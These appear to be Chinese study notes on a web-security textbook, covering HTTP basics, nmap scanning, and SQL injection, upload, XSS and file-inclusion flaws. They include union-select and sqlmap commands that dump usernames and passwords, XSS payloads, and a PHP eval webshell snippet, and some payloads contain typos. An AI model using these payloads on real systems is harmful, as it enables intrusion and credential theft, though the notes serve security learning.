《Web安全深度剖析》
第一篇 基礎篇
第二章 深入HTTP請求流程
1.常見HTTP請求與回應格式
//請求頭
GET /favicon.ico HTTP/1.1 //請求行
Host: www.baidu.com //請求頭
Cache-Control: no-cache //快取指令
//請求標頭
Connection: keep-alive //連接屬性
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 //客戶端詳細
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 //請求標頭內容型別
Referer: https://www.baidu.com/ //請求發起者
Accept-Encoding: gzip, deflate, br //支持資料壓縮格式
Accept-Language: zh-CN,zh;q=0.9 //支持語言
Cookie: BIDUPSID=ghjkhljo;
//回應頭
HTTP/1.1 200 OK //回應行
Accept-Ranges: bytes //請求標志物
Content-Encoding: gzip //資料壓縮格式
Content-Length: 1966 //回應正文長度
Content-Type: image/x-icon //回應正文長度
Date: Fri, 17 Sep 2021 04:00:06 GMT
Etag: "423e-5bd257db4e500" //資源識別符號
Last-Modified: Wed, 10 Mar 2021 02:33:24 GMT
Server: Apache
2.HTTP請求方法
1.Get
服務器選擇性接受內容引數,發送資料有大小限制,沒有請求內容
2.Post
有請求內容,發送資料無大小限制
3.Put
上傳請求資料并要求服務器保存
4.Delete
洗掉服務器指定資源
5.Trace
回顯請求,測驗或診斷
6.Connect
動態切換隧道代理
7.Head
驗證http的有效性、可訪問性和最近改變,速度最快
8.Options
獲取目的資源所支持的通信選項
3.HTTP狀態碼
1xx: 資訊提示 100 – 101
2xx: 成功 200 – 206
3xx: 重定向 300 – 305
4xx: 錯誤 400 – 415
5xx: 服務器錯誤 500 --505
4.HTTP資訊
-
請求頭
-
host
指定被請求資源的主機和埠號
-
User-Agent
將作業系統、瀏覽器資訊告訴服務器
-
Referer
訪問該url的上一個url
-
Range
請求物體部分內容, 此請求頭用于多執行緒
-
Cookie
請求者身份
-
Accept
指定客戶端接受哪些MIME型別資訊
-
Accept - Charset
指定客戶端接受字符集
-
x-forward-for
請求IP, 可多個
-
-
回應頭
-
Server
服務器端的Web服務器名
-
Set - Cookie
向客戶端設定Cooike
-
Last - Modified
資源最后修改時間
-
Location
重定向, 常配合302狀態碼
-
Refresh
定時重繪瀏覽器
-
-
通用頭
通用頭域包含請求和回應訊息都支持的頭域,對通用頭域的擴展要求通訊雙方都支持此擴展,如果存在不支持的通用頭域,一般將會作為物體頭域處理,
-
物體頭
請求和回應資訊都可以傳送一個物體頭
-
Content - Type
Content - Type物體頭用于接收方指示物體的介質型別
-
Content - Encoding
必須采取于Content - Encoding相同的編碼機制
-
Content - Length
指示物體正文長度
-
Last - Modified
指示資源最后修改日期與時間
-
第三章 資訊探測
1. Google語法
site 指定域名
-site 排除該域名
intext 正文內容存在關鍵字
intitle 標題內容存在關鍵字
info 一些基本資訊
inurl URL存在關鍵字
filetype 搜索指定檔案型別
2. Nmap
nmap簡單掃描
root@kali:~# nmap 192.168.93.222
ORT STATE SERVICE
7/tcp open echo
9/tcp open discard
......
多主機掃描命令:
root@kali:~# nmap 192.168.93.1-100
(掃描192.168.93.1-192.168.93.100之間的主機)
掃描該檔案內IP地址:
root@kali:~# nmap -iL xxx.txt
(掃描xxx.txt檔案內保存的IP地址串列)
掃描特定主機的指定埠:
root@kali:~# nmap -p 80, 192.168.93.222
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
掃描技術分為: TCP SYN掃描, TCP Connect()掃描, TCP FIN掃描, UDP掃描, 認證掃描, FTP代理掃描…
半開放掃描 – TCP SYN SCAN(sS)
(不需要完整的握手,因此不會產生日志記錄)
root@kali:~# nmap -sS 192.168.93.222
**全面的系統探測 **
root@kali:~# nmap -A -v 192.168.93.222
秘密掃描 – FIN SCAN(sF)
(完全不建立TCP連接,從而減少被日志記錄. 但是因為有防火墻的存在目標主機可能存在IDS和IPS系統的存在)
root@kali:~# nmap -sF 192.168.93.222
UDP SCAN(sU)
(如果主機禁止回應ICMP協議,可給目標主機發送UDP資料包. 當埠關閉時, 回傳ICMP不可達資料包,反之忽略這個資料包, 即丟棄而不回傳任何資訊. 此掃描針對UDP埠, 不需要發送SYN包)
root@kali:~# nmap -sU 192.168.93.222
認證掃描 --(不會,下一個)
FTP反彈攻擊 – bounce attack(b)
(需連接防火墻后一臺FTP服務器做代理,接著進行掃描,如果FTP服務器里有可讀寫的目錄,你還可以對目標埠發送任意資料 后半段nmap不能幫你)
可用來滲透內網
root@kali:~# nmap -b username:password@server:port
(除了server之外都闊以選,)
空閑掃描 – IDLE SCAN(sL)
(僵尸主機掃描,推卸責任)
root@kali:~# nmap -p 埠號 -Pn(無ping命令) -sI 僵尸主機IP 目標主機IP
防火墻穿透掃描 – (Pn)
root@kali:~# nmap -Pn -A 80,81 192.168.93.222
主機作業系統 – (o)
root@kali:~# nmap -p 80,81 192.168.93.222
使用腳本掃描-- (–script)
root@kali:~# nmap --script all 192.168.93.222
//使用全部腳本
root@kali:~# nmap -p 80 --script=sql-injection.nse 192.168.93.222
//sql注入掃描
第二篇 原理篇
第五章 SQL注入漏洞
OWASP 2008 - 2010年SQL注入漏洞連續保持第一
1.漏洞原理
源代碼:
select count(*) from admin where username = 'admin' and password = 'password'
注入后:
select count(*) from admin where username = ''or 1 = 1--' and password = ''
可以發現 and password = '' 被注釋掉了,無法生效
2.漏洞分類
常見分類為: 數字型和字符型
-
數字型注入
輸入引數為整型時, 如: ID、年齡等
SQL陳述句: select * from table where id = 8測驗步驟:
嘗試讓陳述句報錯,確認注入點 select * from table where id = 8'讓陳述句恢復正常,讓回傳資料與原始資料相同 select * from table where id = 8 and 1 = 1邏輯判斷 select * from table where id = 8 and 1 = 2 -
字符型注入
輸入引數為字串時, 如: 賬戶等
字符型與數字型區別為: 字符型需要單引號閉合, 數字型不需要
SQL陳述句: select * from table where username = 'admin' and password = 'password'測驗:
嘗試閉合SQL陳述句 select * from table where username = 'admin' and 1 = 1 --' and password = 'password' 可以看見 and password = 'password' 被注釋失效了還有一些其他的注入
POST注入:注入欄位在POST資料中 Cookie注入:注入欄位在cookie中 延時注入:使用資料庫延時函式判斷注入 搜索注入:注入處為搜索 base64注入:注入字符經過base64加密
3.常見資料庫注入
資料庫有很多種, 常用的有SqlServer、MySQL
在進行SQL注入時, 思路大多數都是相同的. 利用資料庫錯誤回顯的資訊進行利用
1.SQL server
https://blog.csdn.net/weixin_44332119/article/details/120377686
Microsoft SQL 資料庫函式有哪些? - SQL Server | Microsoft Docs
系統函式
select db_name():回傳資料庫名稱
select suser_name():回傳用戶登入標識名
select user_name():回傳指定的標識號, 資料庫用戶名
col_length():回傳列的定義長度
col_name():回傳資料庫列名稱,該列具有回應的表示符號和列標識號
object_id():回傳資料庫物件標識號
聯合查詢
union select
union all select
區別 union all select 會自動去除重復資料且按默認排序
敏感資訊回顯位判斷
order by 3
union all select unll,2,unll,unll
爆庫舉例
用戶登入名:
?id=2 and 1=2 union all select 1,(select suser_name()),'3',4
用戶名:
?id=2 and 1=2 union all select 1,(select user_name()),'3',4
庫名:
?id=2 and 1=2 union all select 1,(select db_name()),'3',4
表名:
?id=2 and 1=2 union all select 1,(select quotename(table_name) from information_schema.tables for xml path('')),'3',4
//for xml path函式主要是用于把多行查詢結果變為一行顯示
//quotename函式的作用是把每行查詢結果用[ ]默認包裹起來
列名:
?id=2 and 1=2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',4
//sysobjects系統表
//col_name()資料庫列名稱
//object_id()指定名稱的索引
表內容
?id=2 and 1=2 union all select 1,(select top 1 password from manage) from sysobjects),'3',4
2.MySQL
思路和SQL server一樣
MySQL常用注釋
# : 從'#'到行尾
-- :從 '--' 到行尾, 后面需要加一個或多個空格
/**/ :從 '/*' 到后面 '*/'中間的字符
select id/*!55555,username*/ from users
若 MySQL 版本號 ≥ 5.55.55 陳述句將執行
資訊回顯位寫法 SQL server 不一樣, 其他差不多
order by 3 #
union all select 1,2,3,4
4.Sql Map
注入點判斷:
python3 sqlmap.py -u "http://1.1.1.1/new_list.asp?id=2"
獲取資料庫:
python3 sqlmap.py -u "http://1.1.1.1/new_list.asp?id=2" --dbs
獲取表:
python3 sqlmap.py -u "http://1.1.1.1/new_list.asp?id=2" --tables -D "庫名"
// 獲取資料庫表 --tables
// 指定資料庫 -D
獲取列:
python3 sqlmap.py -u "http://1.1.1.1/new_list.asp?id=2" --columns -T “表名” -D "庫名"
// 指定表名 -T
python3 sqlmap.py -u "http://1.1.1.1/new_list.asp?id=2" --dump -C "username,password" -T “表名” -D "庫名"
// 指定欄位名稱 -C
// 轉存資料 --dump
5.SQL注入防御
- 嚴格的資料型別
- 使用預編譯陳述句
- 使用安全性高的框架
- 特殊字符轉義
第六篇 上傳漏洞
找檔案上傳點, 上傳偽裝成正常檔案的一句話木馬
偽裝姿勢:
-
將一句話木馬插入上傳檔案
-
抓包該檔案名
1.將content-type欄位改為image/gif
2.先上傳一個gif型別的木馬,然后通過burp將其改為asp/php/jsp后綴名
-
改 檔案頭,、檔案后綴名
-
檔案截斷
-
CMS、編輯器漏洞
第七篇 XSS跨站腳本漏洞
XSS主要類別: 反射型、存盤型和DOM型
https://blog.csdn.net/weixin_44332119/article/details/120115905
原理 :
? 通過構造HTML代碼閉合, 照成XSS攻擊
# 正常url: http://1.1.1.1/search=aaa
# 正常url: http://1.1.1.1/search=</h3><script>alert('xss');</script><h3>
<html>
<head>
<meta charset="UTF-8">
<title>反射形xss</title>
</head>
<body>
<form role="search" action="" method="GET">
<input type="text" name="search" placeholder="請輸入要搜索的內容">
<button type="submit">搜索</button>
</form>
<h3>你搜索的結果內容是:</h3><script>alert('xss');</script><h3>
//上行攻擊代碼出現處
</h3>
</body>
</html>
可能存在的利用點
-
輸入資料的標簽內部
<div>${input}</div> <div><script>alert(/xss/)</script></div> -
輸入資料的屬性內部
<div class="${input}"></div> <div class=""><script>alert(/xss/)</script>"></div> <div class="" onclick="alert(/xss/)"></div> -
輸入的資料在事件中輸出
<img src="xx.jpg" onerror="${input}"> <img src="xx.jpg" onerror=""><script>alert(/xss/)</script>"> <img src="xx.jpg" onerror="" onclick="alert(/xss/)"> -
在CSS中輸出
<style type="text/css"> body {background-img:url("${input}");} </style> body {background-img:url("javascript:alert('xss')");} -
在 script 標簽中輸出
<script> var usrname = "${input}" </script> var usrname = "1";alert(/xss/);//"此處的//為javascropt簡稱js的注釋標記
第八篇 命令執行漏洞
1.OS命令執行
? 可以直接執行系統層或應用層命令
? 原因 : 命令可連接執行
? 如 : https://blog.csdn.net/weixin_44332119/article/details/120157303
2.PHP代碼執行
? 可以執行OS命令的函式一共有7個:system(), exec(), shell_exec(), passthru(), pcntl_exec(), popen(), proc_open()
3.Java命令執行
? Java SE存在runtime類,提供exec方法以執行字串命令
第九篇 檔案包含
? 如 : https://blog.csdn.net/weixin_44332119/article/details/120157303
? 檔案包含漏洞分為本地包含和遠程包含, 常出現在PHP中
? 本地包含 需要PHP開啟 include() 、require()
? 遠程包含需要開啟 遠程包含選項(默認關閉)
利用方式
-
遠程包含一句話
新建一個shell.php,內容為php一句話木馬內容
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[123]);?>")?> -
包含Apache日志
在日志檔案 (access.log) 中, 會記錄網站訪問記錄
利用bp防止代碼被轉碼, 將可執行的PHP代碼寫入日志檔案中
-
利用PHP封裝協議
file:// — 訪問本地檔案系統 http:// — 訪問 HTTP(s) 網址 ftp:// — 訪問 FTP(s) URLs php:// — 可以用來讀取php檔案的內容,直接包含的話會執行PHP檔案 php://input在遠程包含選項開啟的情況下,可以用此協議執行PHP陳述句 zlib:// — 壓縮流 data:// — 資料(RFC 2397) glob:// — 查找匹配的檔案路徑模式 phar:// — PHP 歸檔 ssh2:// — Secure Shell 2 rar:// — RAR ogg:// — 音頻流 expect:// — 處理互動式的流
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/301678.html
標籤:其他
上一篇:【機器學習實戰 Task1】 (KNN)k近鄰演算法的應用
下一篇:命令注入(OS)
